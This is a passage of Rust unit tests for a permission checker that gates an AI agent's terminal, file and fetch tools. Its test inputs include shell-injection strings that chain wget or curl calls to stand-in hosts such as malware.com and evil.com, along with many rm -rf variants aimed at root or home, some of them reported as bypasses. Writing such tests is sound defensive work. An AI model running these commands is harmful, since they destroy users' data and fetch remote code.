 971        );
 972        tools.insert(
 973            Arc::from(EditFileTool::NAME),
 974            ToolRules {
 975                default: Some(ToolPermissionMode::Allow),
 976                always_allow: vec![],
 977                always_deny: vec![],
 978                always_confirm: vec![],
 979                invalid_patterns: vec![],
 980            },
 981        );
 982        let p = ToolPermissions {
 983            default: ToolPermissionMode::Confirm,
 984            tools,
 985        };
 986        assert!(matches!(
 987            ToolPermissionDecision::from_input(
 988                TerminalTool::NAME,
 989                &["x".to_string()],
 990                &p,
 991                ShellKind::Posix
 992            ),
 993            ToolPermissionDecision::Deny(_)
 994        ));
 995        assert_eq!(
 996            ToolPermissionDecision::from_input(
 997                EditFileTool::NAME,
 998                &["x".to_string()],
 999                &p,
1000                ShellKind::Posix
1001            ),
1002            ToolPermissionDecision::Allow
1003        );
1004    }
1005
1006    #[test]
1007    fn partial_tool_name_no_match() {
1008        let mut tools = collections::HashMap::default();
1009        tools.insert(
1010            Arc::from("term"),
1011            ToolRules {
1012                default: Some(ToolPermissionMode::Deny),
1013                always_allow: vec![],
1014                always_deny: vec![],
1015                always_confirm: vec![],
1016                invalid_patterns: vec![],
1017            },
1018        );
1019        let p = ToolPermissions {
1020            default: ToolPermissionMode::Confirm,
1021            tools,
1022        };
1023        // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1024        assert_eq!(
1025            ToolPermissionDecision::from_input(
1026                TerminalTool::NAME,
1027                &["x".to_string()],
1028                &p,
1029                ShellKind::Posix
1030            ),
1031            ToolPermissionDecision::Confirm
1032        );
1033    }
1034
1035    // invalid patterns block the tool
1036    #[test]
1037    fn invalid_pattern_blocks() {
1038        let mut tools = collections::HashMap::default();
1039        tools.insert(
1040            Arc::from(TerminalTool::NAME),
1041            ToolRules {
1042                default: Some(ToolPermissionMode::Allow),
1043                always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1044                always_deny: vec![],
1045                always_confirm: vec![],
1046                invalid_patterns: vec![InvalidRegexPattern {
1047                    pattern: "[bad".into(),
1048                    rule_type: "always_deny".into(),
1049                    error: "err".into(),
1050                }],
1051            },
1052        );
1053        let p = ToolPermissions {
1054            default: ToolPermissionMode::Confirm,
1055            tools,
1056        };
1057        // Invalid patterns block the tool regardless of other settings
1058        assert!(matches!(
1059            ToolPermissionDecision::from_input(
1060                TerminalTool::NAME,
1061                &["echo hi".to_string()],
1062                &p,
1063                ShellKind::Posix
1064            ),
1065            ToolPermissionDecision::Deny(_)
1066        ));
1067    }
1068
1069    #[test]
1070    fn shell_injection_via_double_ampersand_not_allowed() {
1071        t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1072    }
1073
1074    #[test]
1075    fn shell_injection_via_semicolon_not_allowed() {
1076        t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1077    }
1078
1079    #[test]
1080    fn shell_injection_via_pipe_not_allowed() {
1081        t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1082    }
1083
1084    #[test]
1085    fn shell_injection_via_backticks_not_allowed() {
1086        t("echo `wget malware.com`")
1087            .allow(&[pattern("echo")])
1088            .is_confirm();
1089    }
1090
1091    #[test]
1092    fn shell_injection_via_dollar_parens_not_allowed() {
1093        t("echo $(wget malware.com)")
1094            .allow(&[pattern("echo")])
1095            .is_confirm();
1096    }
1097
1098    #[test]
1099    fn shell_injection_via_or_operator_not_allowed() {
1100        t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1101    }
1102
1103    #[test]
1104    fn shell_injection_via_background_operator_not_allowed() {
1105        t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1106    }
1107
1108    #[test]
1109    fn shell_injection_via_newline_not_allowed() {
1110        t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1111    }
1112
1113    #[test]
1114    fn shell_injection_via_process_substitution_input_not_allowed() {
1115        t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
1116    }
1117
1118    #[test]
1119    fn shell_injection_via_process_substitution_output_not_allowed() {
1120        t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
1121    }
1122
1123    #[test]
1124    fn shell_injection_without_spaces_not_allowed() {
1125        t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1126        t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1127    }
1128
1129    #[test]
1130    fn shell_injection_multiple_chained_operators_not_allowed() {
1131        t("ls && echo hello && wget malware.com")
1132            .allow(&["^ls"])
1133            .is_confirm();
1134    }
1135
1136    #[test]
1137    fn shell_injection_mixed_operators_not_allowed() {
1138        t("ls; echo hello && wget malware.com")
1139            .allow(&["^ls"])
1140            .is_confirm();
1141    }
1142
1143    #[test]
1144    fn shell_injection_pipe_stderr_not_allowed() {
1145        t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1146    }
1147
1148    #[test]
1149    fn allow_requires_all_commands_to_match() {
1150        t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1151    }
1152
1153    #[test]
1154    fn deny_triggers_on_any_matching_command() {
1155        t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1156    }
1157
1158    #[test]
1159    fn deny_catches_injected_command() {
1160        t("ls && rm -rf ./temp")
1161            .allow(&["^ls"])
1162            .deny(&["^rm"])
1163            .is_deny();
1164    }
1165
1166    #[test]
1167    fn confirm_triggers_on_any_matching_command() {
1168        t("ls && sudo reboot")
1169            .allow(&["^ls"])
1170            .confirm(&["^sudo"])
1171            .is_confirm();
1172    }
1173
1174    #[test]
1175    fn always_allow_button_works_end_to_end() {
1176        // This test verifies that the "Always Allow" button behavior works correctly:
1177        // 1. User runs a command like "cargo build --release"
1178        // 2. They click "Always Allow for `cargo build` commands"
1179        // 3. The pattern extracted should match future "cargo build" commands
1180        //    but NOT other cargo subcommands like "cargo test"
1181        let original_command = "cargo build --release";
1182        let extracted_pattern = pattern(original_command);
1183
1184        // The extracted pattern should allow the original command
1185        t(original_command).allow(&[extracted_pattern]).is_allow();
1186
1187        // It should allow other "cargo build" invocations with different flags
1188        t("cargo build").allow(&[extracted_pattern]).is_allow();
1189        t("cargo build --features foo")
1190            .allow(&[extracted_pattern])
1191            .is_allow();
1192
1193        // But NOT other cargo subcommands — the pattern is subcommand-specific
1194        t("cargo test").allow(&[extracted_pattern]).is_confirm();
1195        t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1196
1197        // Hyphenated extensions of the subcommand should not match either
1198        // (e.g. cargo plugins like "cargo build-foo")
1199        t("cargo build-foo")
1200            .allow(&[extracted_pattern])
1201            .is_confirm();
1202        t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1203
1204        // But not commands with different base commands
1205        t("npm install").allow(&[extracted_pattern]).is_confirm();
1206
1207        // Chained commands: all must match the pattern
1208        t("cargo build && cargo build --release")
1209            .allow(&[extracted_pattern])
1210            .is_allow();
1211
1212        // But reject if any subcommand doesn't match
1213        t("cargo build && npm install")
1214            .allow(&[extracted_pattern])
1215            .is_confirm();
1216    }
1217
1218    #[test]
1219    fn always_allow_button_works_without_subcommand() {
1220        // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1221        // should only include the command name, not the flag.
1222        let original_command = "ls -la";
1223        let extracted_pattern = pattern(original_command);
1224
1225        // The extracted pattern should allow the original command
1226        t(original_command).allow(&[extracted_pattern]).is_allow();
1227
1228        // It should allow other invocations of the same command
1229        t("ls").allow(&[extracted_pattern]).is_allow();
1230        t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1231
1232        // But not different commands
1233        t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1234
1235        // Chained commands: all must match
1236        t("ls -la && ls /tmp")
1237            .allow(&[extracted_pattern])
1238            .is_allow();
1239        t("ls -la && cat file.txt")
1240            .allow(&[extracted_pattern])
1241            .is_confirm();
1242    }
1243
1244    #[test]
1245    fn nested_command_substitution_all_checked() {
1246        t("echo $(cat $(whoami).txt)")
1247            .allow(&["^echo", "^cat", "^whoami"])
1248            .is_allow();
1249    }
1250
1251    #[test]
1252    fn parse_failure_falls_back_to_confirm() {
1253        t("ls &&").allow(&["^ls$"]).is_confirm();
1254    }
1255
1256    #[test]
1257    fn mcp_tool_default_modes() {
1258        t("")
1259            .tool("mcp:fs:read")
1260            .mode(ToolPermissionMode::Allow)
1261            .is_allow();
1262        t("")
1263            .tool("mcp:bad:del")
1264            .mode(ToolPermissionMode::Deny)
1265            .is_deny();
1266        t("")
1267            .tool("mcp:gh:issue")
1268            .mode(ToolPermissionMode::Confirm)
1269            .is_confirm();
1270        t("")
1271            .tool("mcp:gh:issue")
1272            .mode(ToolPermissionMode::Confirm)
1273            .global_default(ToolPermissionMode::Allow)
1274            .is_confirm();
1275    }
1276
1277    #[test]
1278    fn mcp_doesnt_collide_with_builtin() {
1279        let mut tools = collections::HashMap::default();
1280        tools.insert(
1281            Arc::from(TerminalTool::NAME),
1282            ToolRules {
1283                default: Some(ToolPermissionMode::Deny),
1284                always_allow: vec![],
1285                always_deny: vec![],
1286                always_confirm: vec![],
1287                invalid_patterns: vec![],
1288            },
1289        );
1290        tools.insert(
1291            Arc::from("mcp:srv:terminal"),
1292            ToolRules {
1293                default: Some(ToolPermissionMode::Allow),
1294                always_allow: vec![],
1295                always_deny: vec![],
1296                always_confirm: vec![],
1297                invalid_patterns: vec![],
1298            },
1299        );
1300        let p = ToolPermissions {
1301            default: ToolPermissionMode::Confirm,
1302            tools,
1303        };
1304        assert!(matches!(
1305            ToolPermissionDecision::from_input(
1306                TerminalTool::NAME,
1307                &["x".to_string()],
1308                &p,
1309                ShellKind::Posix
1310            ),
1311            ToolPermissionDecision::Deny(_)
1312        ));
1313        assert_eq!(
1314            ToolPermissionDecision::from_input(
1315                "mcp:srv:terminal",
1316                &["x".to_string()],
1317                &p,
1318                ShellKind::Posix
1319            ),
1320            ToolPermissionDecision::Allow
1321        );
1322    }
1323
1324    #[test]
1325    fn case_insensitive_by_default() {
1326        t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1327        t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1328    }
1329
1330    #[test]
1331    fn case_sensitive_allow() {
1332        t("cargo test")
1333            .allow_case_sensitive(&[pattern("cargo")])
1334            .is_allow();
1335        t("CARGO TEST")
1336            .allow_case_sensitive(&[pattern("cargo")])
1337            .is_confirm();
1338    }
1339
1340    #[test]
1341    fn case_sensitive_deny() {
1342        t("rm -rf ./temp")
1343            .deny_case_sensitive(&[pattern("rm")])
1344            .is_deny();
1345        t("RM -RF ./temp")
1346            .deny_case_sensitive(&[pattern("rm")])
1347            .mode(ToolPermissionMode::Allow)
1348            .is_allow();
1349    }
1350
1351    #[test]
1352    fn nushell_allows_with_allow_pattern() {
1353        t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1354    }
1355
1356    #[test]
1357    fn nushell_allows_deny_patterns() {
1358        t("rm -rf ./temp")
1359            .deny(&["rm\\s+-rf"])
1360            .shell(ShellKind::Nushell)
1361            .is_deny();
1362    }
1363
1364    #[test]
1365    fn nushell_allows_confirm_patterns() {
1366        t("sudo reboot")
1367            .confirm(&["sudo"])
1368            .shell(ShellKind::Nushell)
1369            .is_confirm();
1370    }
1371
1372    #[test]
1373    fn nushell_no_allow_patterns_uses_default() {
1374        t("ls")
1375            .deny(&["rm"])
1376            .mode(ToolPermissionMode::Allow)
1377            .shell(ShellKind::Nushell)
1378            .is_allow();
1379    }
1380
1381    #[test]
1382    fn elvish_allows_with_allow_pattern() {
1383        t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1384    }
1385
1386    #[test]
1387    fn rc_allows_with_allow_pattern() {
1388        t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1389    }
1390
1391    #[test]
1392    fn multiple_invalid_patterns_pluralizes_message() {
1393        let mut tools = collections::HashMap::default();
1394        tools.insert(
1395            Arc::from(TerminalTool::NAME),
1396            ToolRules {
1397                default: Some(ToolPermissionMode::Allow),
1398                always_allow: vec![],
1399                always_deny: vec![],
1400                always_confirm: vec![],
1401                invalid_patterns: vec![
1402                    InvalidRegexPattern {
1403                        pattern: "[bad1".into(),
1404                        rule_type: "always_deny".into(),
1405                        error: "err1".into(),
1406                    },
1407                    InvalidRegexPattern {
1408                        pattern: "[bad2".into(),
1409                        rule_type: "always_allow".into(),
1410                        error: "err2".into(),
1411                    },
1412                ],
1413            },
1414        );
1415        let p = ToolPermissions {
1416            default: ToolPermissionMode::Confirm,
1417            tools,
1418        };
1419
1420        let result = ToolPermissionDecision::from_input(
1421            TerminalTool::NAME,
1422            &["echo hi".to_string()],
1423            &p,
1424            ShellKind::Posix,
1425        );
1426        match result {
1427            ToolPermissionDecision::Deny(msg) => {
1428                assert!(
1429                    msg.contains("2 regex patterns"),
1430                    "Expected '2 regex patterns' in message, got: {}",
1431                    msg
1432                );
1433            }
1434            other => panic!("Expected Deny, got {:?}", other),
1435        }
1436    }
1437
1438    // always_confirm patterns on non-terminal tools
1439    #[test]
1440    fn always_confirm_works_for_file_tools() {
1441        t("sensitive.env")
1442            .tool(EditFileTool::NAME)
1443            .confirm(&["sensitive"])
1444            .is_confirm();
1445
1446        t("normal.txt")
1447            .tool(EditFileTool::NAME)
1448            .confirm(&["sensitive"])
1449            .mode(ToolPermissionMode::Allow)
1450            .is_allow();
1451
1452        t("/etc/config")
1453            .tool(DeletePathTool::NAME)
1454            .confirm(&["/etc/"])
1455            .is_confirm();
1456
1457        t("/home/user/safe.txt")
1458            .tool(DeletePathTool::NAME)
1459            .confirm(&["/etc/"])
1460            .mode(ToolPermissionMode::Allow)
1461            .is_allow();
1462
1463        t("https://secret.internal.com/api")
1464            .tool(FetchTool::NAME)
1465            .confirm(&["secret\\.internal"])
1466            .is_confirm();
1467
1468        t("https://public.example.com/api")
1469            .tool(FetchTool::NAME)
1470            .confirm(&["secret\\.internal"])
1471            .mode(ToolPermissionMode::Allow)
1472            .is_allow();
1473
1474        // confirm on non-terminal tools still beats allow
1475        t("sensitive.env")
1476            .tool(EditFileTool::NAME)
1477            .allow(&["sensitive"])
1478            .confirm(&["\\.env$"])
1479            .is_confirm();
1480
1481        // confirm on non-terminal tools is still beaten by deny
1482        t("sensitive.env")
1483            .tool(EditFileTool::NAME)
1484            .confirm(&["sensitive"])
1485            .deny(&["\\.env$"])
1486            .is_deny();
1487
1488        // global default allow does not bypass confirm on non-terminal tools
1489        t("/etc/passwd")
1490            .tool(EditFileTool::NAME)
1491            .confirm(&["/etc/"])
1492            .global_default(ToolPermissionMode::Allow)
1493            .is_confirm();
1494    }
1495
1496    // Hardcoded security rules tests - these rules CANNOT be bypassed
1497
1498    #[test]
1499    fn hardcoded_blocks_rm_rf_root() {
1500        t("rm -rf /").is_deny();
1501        t("rm -fr /").is_deny();
1502        t("rm -RF /").is_deny();
1503        t("rm -FR /").is_deny();
1504        t("rm -r -f /").is_deny();
1505        t("rm -f -r /").is_deny();
1506        t("RM -RF /").is_deny();
1507        t("rm /").is_deny();
1508        // Long flags
1509        t("rm --recursive --force /").is_deny();
1510        t("rm --force --recursive /").is_deny();
1511        // Extra short flags
1512        t("rm -rfv /").is_deny();
1513        t("rm -v -rf /").is_deny();
1514        // Glob wildcards
1515        t("rm -rf /*").is_deny();
1516        t("rm -rf /* ").is_deny();
1517        // End-of-options marker
1518        t("rm -rf -- /").is_deny();
1519        t("rm -- /").is_deny();
1520        // Prefixed with sudo or other commands
1521        t("sudo rm -rf /").is_deny();
1522        t("sudo rm -rf /*").is_deny();
1523        t("sudo rm -rf --no-preserve-root /").is_deny();
1524    }
1525
1526    #[test]
1527    fn hardcoded_blocks_rm_rf_home() {
1528        t("rm -rf ~").is_deny();
1529        t("rm -fr ~").is_deny();
1530        t("rm -rf ~/").is_deny();
1531        t("rm -rf $HOME").is_deny();
1532        t("rm -fr $HOME").is_deny();
1533        t("rm -rf $HOME/").is_deny();
1534        t("rm -rf ${HOME}").is_deny();
1535        t("rm -rf ${HOME}/").is_deny();
1536        t("rm -RF $HOME").is_deny();
1537        t("rm -FR ${HOME}/").is_deny();
1538        t("rm -R -F ${HOME}/").is_deny();
1539        t("RM -RF ~").is_deny();
1540        // Long flags
1541        t("rm --recursive --force ~").is_deny();
1542        t("rm --recursive --force ~/").is_deny();
1543        t("rm --recursive --force $HOME").is_deny();
1544        t("rm --force --recursive ${HOME}/").is_deny();
1545        // Extra short flags
1546        t("rm -rfv ~").is_deny();
1547        t("rm -v -rf ~/").is_deny();
1548        // Glob wildcards
1549        t("rm -rf ~/*").is_deny();
1550        t("rm -rf $HOME/*").is_deny();
1551        t("rm -rf ${HOME}/*").is_deny();
1552        // End-of-options marker
1553        t("rm -rf -- ~").is_deny();
1554        t("rm -rf -- ~/").is_deny();
1555        t("rm -rf -- $HOME").is_deny();
1556    }
1557
1558    #[test]
1559    fn hardcoded_blocks_rm_rf_home_with_traversal() {
1560        // Path traversal after $HOME / ${HOME} should still be blocked
1561        t("rm -rf $HOME/./").is_deny();
1562        t("rm -rf $HOME/foo/..").is_deny();
1563        t("rm -rf ${HOME}/.").is_deny();
1564        t("rm -rf ${HOME}/./").is_deny();
1565        t("rm -rf $HOME/a/b/../..").is_deny();
1566        t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1567        // Subdirectories should NOT be blocked
1568        t("rm -rf $HOME/subdir")
1569            .mode(ToolPermissionMode::Allow)
1570            .is_allow();
1571        t("rm -rf ${HOME}/Documents")
1572            .mode(ToolPermissionMode::Allow)
1573            .is_allow();
1574    }
1575
1576    #[test]
1577    fn hardcoded_blocks_rm_rf_dot() {
1578        t("rm -rf .").is_deny();
1579        t("rm -fr .").is_deny();
1580        t("rm -rf ./").is_deny();
1581        t("rm -rf ..").is_deny();
1582        t("rm -fr ..").is_deny();
1583        t("rm -rf ../").is_deny();
1584        t("rm -RF .").is_deny();
1585        t("rm -FR ../").is_deny();
1586        t("rm -R -F ../").is_deny();
1587        t("RM -RF .").is_deny();
1588        t("RM -RF ..").is_deny();
1589        // Long flags
1590        t("rm --recursive --force .").is_deny();
1591        t("rm --force --recursive ../").is_deny();
1592        // Extra short flags
1593        t("rm -rfv .").is_deny();
1594        t("rm -v -rf ../").is_deny();
1595        // Glob wildcards
1596        t("rm -rf ./*").is_deny();
1597        t("rm -rf ../*").is_deny();
1598        // End-of-options marker
1599        t("rm -rf -- .").is_deny();
1600        t("rm -rf -- ../").is_deny();
1601    }
1602
1603    #[test]
1604    fn hardcoded_cannot_be_bypassed_by_global() {
1605        // Even with global default Allow, hardcoded rules block
1606        t("rm -rf /")
1607            .global_default(ToolPermissionMode::Allow)
1608            .is_deny();
1609        t("rm -rf ~")
1610            .global_default(ToolPermissionMode::Allow)
1611            .is_deny();
1612        t("rm -rf $HOME")
1613            .global_default(ToolPermissionMode::Allow)
1614            .is_deny();
1615        t("rm -rf .")
1616            .global_default(ToolPermissionMode::Allow)
1617            .is_deny();
1618        t("rm -rf ..")
1619            .global_default(ToolPermissionMode::Allow)
1620            .is_deny();
1621    }
1622
1623    #[test]
1624    fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1625        // Even with an allow pattern that matches, hardcoded rules block
1626        t("rm -rf /").allow(&[".*"]).is_deny();
1627        t("rm -rf $HOME").allow(&[".*"]).is_deny();
1628        t("rm -rf .").allow(&[".*"]).is_deny();
1629        t("rm -rf ..").allow(&[".*"]).is_deny();
1630    }
1631
1632    #[test]
1633    fn hardcoded_allows_safe_rm() {
1634        // rm -rf on a specific path should NOT be blocked
1635        t("rm -rf ./build")
1636            .mode(ToolPermissionMode::Allow)
1637            .is_allow();
1638        t("rm -rf /tmp/test")
1639            .mode(ToolPermissionMode::Allow)
1640            .is_allow();
1641        t("rm -rf ~/Documents")
1642            .mode(ToolPermissionMode::Allow)
1643            .is_allow();
1644        t("rm -rf $HOME/Documents")
1645            .mode(ToolPermissionMode::Allow)
1646            .is_allow();
1647        t("rm -rf ../some_dir")
1648            .mode(ToolPermissionMode::Allow)
1649            .is_allow();
1650        t("rm -rf .hidden_dir")
1651            .mode(ToolPermissionMode::Allow)
1652            .is_allow();
1653        t("rm -rfv ./build")
1654            .mode(ToolPermissionMode::Allow)
1655            .is_allow();
1656        t("rm --recursive --force ./build")
1657            .mode(ToolPermissionMode::Allow)
1658            .is_allow();
1659    }
1660
1661    #[test]
1662    fn hardcoded_checks_chained_commands() {
1663        // Hardcoded rules should catch dangerous commands in chains
1664        t("ls && rm -rf /").is_deny();
1665        t("echo hello; rm -rf ~").is_deny();
1666        t("cargo build && rm -rf /")
1667            .global_default(ToolPermissionMode::Allow)
1668            .is_deny();
1669        t("echo hello; rm -rf $HOME").is_deny();
1670        t("echo hello; rm -rf .").is_deny();
1671        t("echo hello; rm -rf ..").is_deny();
1672    }
1673
1674    #[test]
1675    fn hardcoded_blocks_rm_with_extra_flags() {
1676        // Extra flags like -v, -i should not bypass the security rules
1677        t("rm -rfv /").is_deny();
1678        t("rm -v -rf /").is_deny();
1679        t("rm -rfi /").is_deny();
1680        t("rm -rfv ~").is_deny();
1681        t("rm -rfv ~/").is_deny();
1682        t("rm -rfv $HOME").is_deny();
1683        t("rm -rfv .").is_deny();
1684        t("rm -rfv ./").is_deny();
1685        t("rm -rfv ..").is_deny();
1686        t("rm -rfv ../").is_deny();
1687    }
1688
1689    #[test]
1690    fn hardcoded_blocks_rm_with_long_flags() {
1691        t("rm --recursive --force /").is_deny();
1692        t("rm --force --recursive /").is_deny();
1693        t("rm --recursive --force ~").is_deny();
1694        t("rm --recursive --force ~/").is_deny();
1695        t("rm --recursive --force $HOME").is_deny();
1696        t("rm --recursive --force .").is_deny();
1697        t("rm --recursive --force ..").is_deny();
1698    }
1699
1700    #[test]
1701    fn hardcoded_blocks_rm_with_glob_star() {
1702        // rm -rf /* is equally catastrophic to rm -rf /
1703        t("rm -rf /*").is_deny();
1704        t("rm -rf ~/*").is_deny();
1705        t("rm -rf $HOME/*").is_deny();
1706        t("rm -rf ${HOME}/*").is_deny();
1707        t("rm -rf ./*").is_deny();
1708        t("rm -rf ../*").is_deny();
1709    }
1710
1711    #[test]
1712    fn hardcoded_extra_flags_allow_safe_rm() {
1713        // Extra flags on specific paths should NOT be blocked
1714        t("rm -rfv ~/somedir")
1715            .mode(ToolPermissionMode::Allow)
1716            .is_allow();
1717        t("rm -rfv /tmp/test")
1718            .mode(ToolPermissionMode::Allow)
1719            .is_allow();
1720        t("rm --recursive --force ./build")
1721            .mode(ToolPermissionMode::Allow)
1722            .is_allow();
1723    }
1724
1725    #[test]
1726    fn hardcoded_does_not_block_words_containing_rm() {
1727        // Words like "storm", "inform" contain "rm" but should not be blocked
1728        t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1729        t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1730        t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1731    }
1732
1733    #[test]
1734    fn hardcoded_blocks_rm_with_trailing_flags() {
1735        // GNU rm accepts flags after operands by default
1736        t("rm / -rf").is_deny();
1737        t("rm / -fr").is_deny();
1738        t("rm / -RF").is_deny();
1739        t("rm / -r -f").is_deny();
1740        t("rm / --recursive --force").is_deny();
1741        t("rm / -rfv").is_deny();
1742        t("rm /* -rf").is_deny();
1743        // Mixed: some flags before path, some after
1744        t("rm -r / -f").is_deny();
1745        t("rm -f / -r").is_deny();
1746        // Home
1747        t("rm ~ -rf").is_deny();
1748        t("rm ~/ -rf").is_deny();
1749        t("rm ~ -r -f").is_deny();
1750        t("rm $HOME -rf").is_deny();
1751        t("rm ${HOME} -rf").is_deny();
1752        // Dot / dotdot
1753        t("rm . -rf").is_deny();
1754        t("rm ./ -rf").is_deny();
1755        t("rm . -r -f").is_deny();
1756        t("rm .. -rf").is_deny();
1757        t("rm ../ -rf").is_deny();
1758        t("rm .. -r -f").is_deny();
1759        // Trailing flags in chained commands
1760        t("ls && rm / -rf").is_deny();
1761        t("echo hello; rm ~ -rf").is_deny();
1762        // Safe paths with trailing flags should NOT be blocked
1763        t("rm ./build -rf")
1764            .mode(ToolPermissionMode::Allow)
1765            .is_allow();
1766        t("rm /tmp/test -rf")
1767            .mode(ToolPermissionMode::Allow)
1768            .is_allow();
1769        t("rm ~/Documents -rf")
1770            .mode(ToolPermissionMode::Allow)
1771            .is_allow();
1772    }
1773
1774    #[test]
1775    fn hardcoded_blocks_rm_with_flag_equals_value() {
1776        // --flag=value syntax should not bypass the rules
1777        t("rm --no-preserve-root=yes -rf /").is_deny();
1778        t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1779        t("rm -rf --no-preserve-root=yes /").is_deny();
1780        t("rm --interactive=never -rf /").is_deny();
1781        t("rm --no-preserve-root=yes -rf ~").is_deny();
1782        t("rm --no-preserve-root=yes -rf .").is_deny();
1783        t("rm --no-preserve-root=yes -rf ..").is_deny();
1784        t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1785        // --flag (without =value) should also not bypass the rules
1786        t("rm -rf --no-preserve-root /").is_deny();
1787        t("rm --no-preserve-root -rf /").is_deny();
1788        t("rm --no-preserve-root --recursive --force /").is_deny();
1789        t("rm -rf --no-preserve-root ~").is_deny();
1790        t("rm -rf --no-preserve-root .").is_deny();
1791        t("rm -rf --no-preserve-root ..").is_deny();
1792        t("rm -rf --no-preserve-root $HOME").is_deny();
1793        // Trailing --flag=value after path
1794        t("rm / --no-preserve-root=yes -rf").is_deny();
1795        t("rm ~ -rf --no-preserve-root=yes").is_deny();
1796        // Trailing --flag (without =value) after path
1797        t("rm / -rf --no-preserve-root").is_deny();
1798        t("rm ~ -rf --no-preserve-root").is_deny();
1799        // Safe paths with --flag=value should NOT be blocked
1800        t("rm --no-preserve-root=yes -rf ./build")
1801            .mode(ToolPermissionMode::Allow)
1802            .is_allow();
1803        t("rm --interactive=never -rf /tmp/test")
1804            .mode(ToolPermissionMode::Allow)
1805            .is_allow();
1806        // Safe paths with --flag (without =value) should NOT be blocked
1807        t("rm --no-preserve-root -rf ./build")
1808            .mode(ToolPermissionMode::Allow)
1809            .is_allow();
1810    }
1811
1812    #[test]
1813    fn hardcoded_blocks_rm_with_path_traversal() {
1814        // Traversal to root via ..
1815        t("rm -rf /etc/../").is_deny();
1816        t("rm -rf /tmp/../../").is_deny();
1817        t("rm -rf /tmp/../..").is_deny();
1818        t("rm -rf /var/log/../../").is_deny();
1819        // Root via /./
1820        t("rm -rf /./").is_deny();
1821        t("rm -rf /.").is_deny();
1822        // Double slash (equivalent to /)
1823        t("rm -rf //").is_deny();
1824        // Home traversal via ~/./
1825        t("rm -rf ~/./").is_deny();
1826        t("rm -rf ~/.").is_deny();
1827        // Dot traversal via indirect paths
1828        t("rm -rf ./foo/..").is_deny();
1829        t("rm -rf ../foo/..").is_deny();
1830        // Traversal in chained commands
1831        t("ls && rm -rf /tmp/../../").is_deny();
1832        t("echo hello; rm -rf /./").is_deny();
1833        // Traversal cannot be bypassed by global or allow patterns
1834        t("rm -rf /tmp/../../")
1835            .global_default(ToolPermissionMode::Allow)
1836            .is_deny();
1837        t("rm -rf /./").allow(&[".*"]).is_deny();
1838        // Safe paths with traversal should still be allowed
1839        t("rm -rf /tmp/../tmp/foo")
1840            .mode(ToolPermissionMode::Allow)
1841            .is_allow();
1842        t("rm -rf ~/Documents/./subdir")
1843            .mode(ToolPermissionMode::Allow)
1844            .is_allow();
1845    }
1846
1847    #[test]
1848    fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
1849        t("rm -rf /tmp /").is_deny();
1850        t("rm -rf /tmp/foo /").is_deny();
1851        t("rm -rf /var/log ~").is_deny();
1852        t("rm -rf /safe $HOME").is_deny();
1853    }
1854
1855    #[test]
1856    fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
1857        t("rm -rf / /tmp").is_deny();
1858        t("rm -rf ~ /var/log").is_deny();
1859        t("rm -rf . /tmp/foo").is_deny();
1860        t("rm -rf .. /safe").is_deny();
1861    }
1862
1863    #[test]
1864    fn hardcoded_allows_rm_multi_path_all_safe() {
1865        t("rm -rf /tmp /home/user")
1866            .mode(ToolPermissionMode::Allow)
1867            .is_allow();
1868        t("rm -rf ./build ./dist")
1869            .mode(ToolPermissionMode::Allow)
1870            .is_allow();
1871        t("rm -rf /var/log/app /tmp/cache")
1872            .mode(ToolPermissionMode::Allow)
1873            .is_allow();
1874    }
1875
1876    #[test]
1877    fn hardcoded_blocks_rm_multi_path_with_traversal() {
1878        t("rm -rf /safe /tmp/../../").is_deny();
1879        t("rm -rf /tmp/../../ /safe").is_deny();
1880        t("rm -rf /safe /var/log/../../").is_deny();
1881    }
1882
1883    #[test]
1884    fn hardcoded_blocks_user_reported_bypass_variants() {
1885        // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
1886        t("rm -rf /etc/../").is_deny();
1887        t("rm -rf /etc/..").is_deny();
1888        // User report: --no-preserve-root (without =value) should not bypass
1889        t("rm -rf --no-preserve-root /").is_deny();
1890        t("rm --no-preserve-root -rf /").is_deny();
1891        // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
1892        t("rm -rf /*").is_deny();
1893        // Chained with sudo
1894        t("sudo rm -rf /").is_deny();
1895        t("sudo rm -rf --no-preserve-root /").is_deny();
1896        // Traversal cannot be bypassed even with global allow or allow patterns
1897        t("rm -rf /etc/../")
1898            .global_default(ToolPermissionMode::Allow)
1899            .is_deny();
1900        t("rm -rf /etc/../").allow(&[".*"]).is_deny();
1901        t("rm -rf --no-preserve-root /")
1902            .global_default(ToolPermissionMode::Allow)
1903            .is_deny();
1904        t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
1905    }
1906
1907    #[test]
1908    fn normalize_path_relative_no_change() {
1909        assert_eq!(normalize_path("foo/bar"), "foo/bar");
1910    }
1911
1912    #[test]
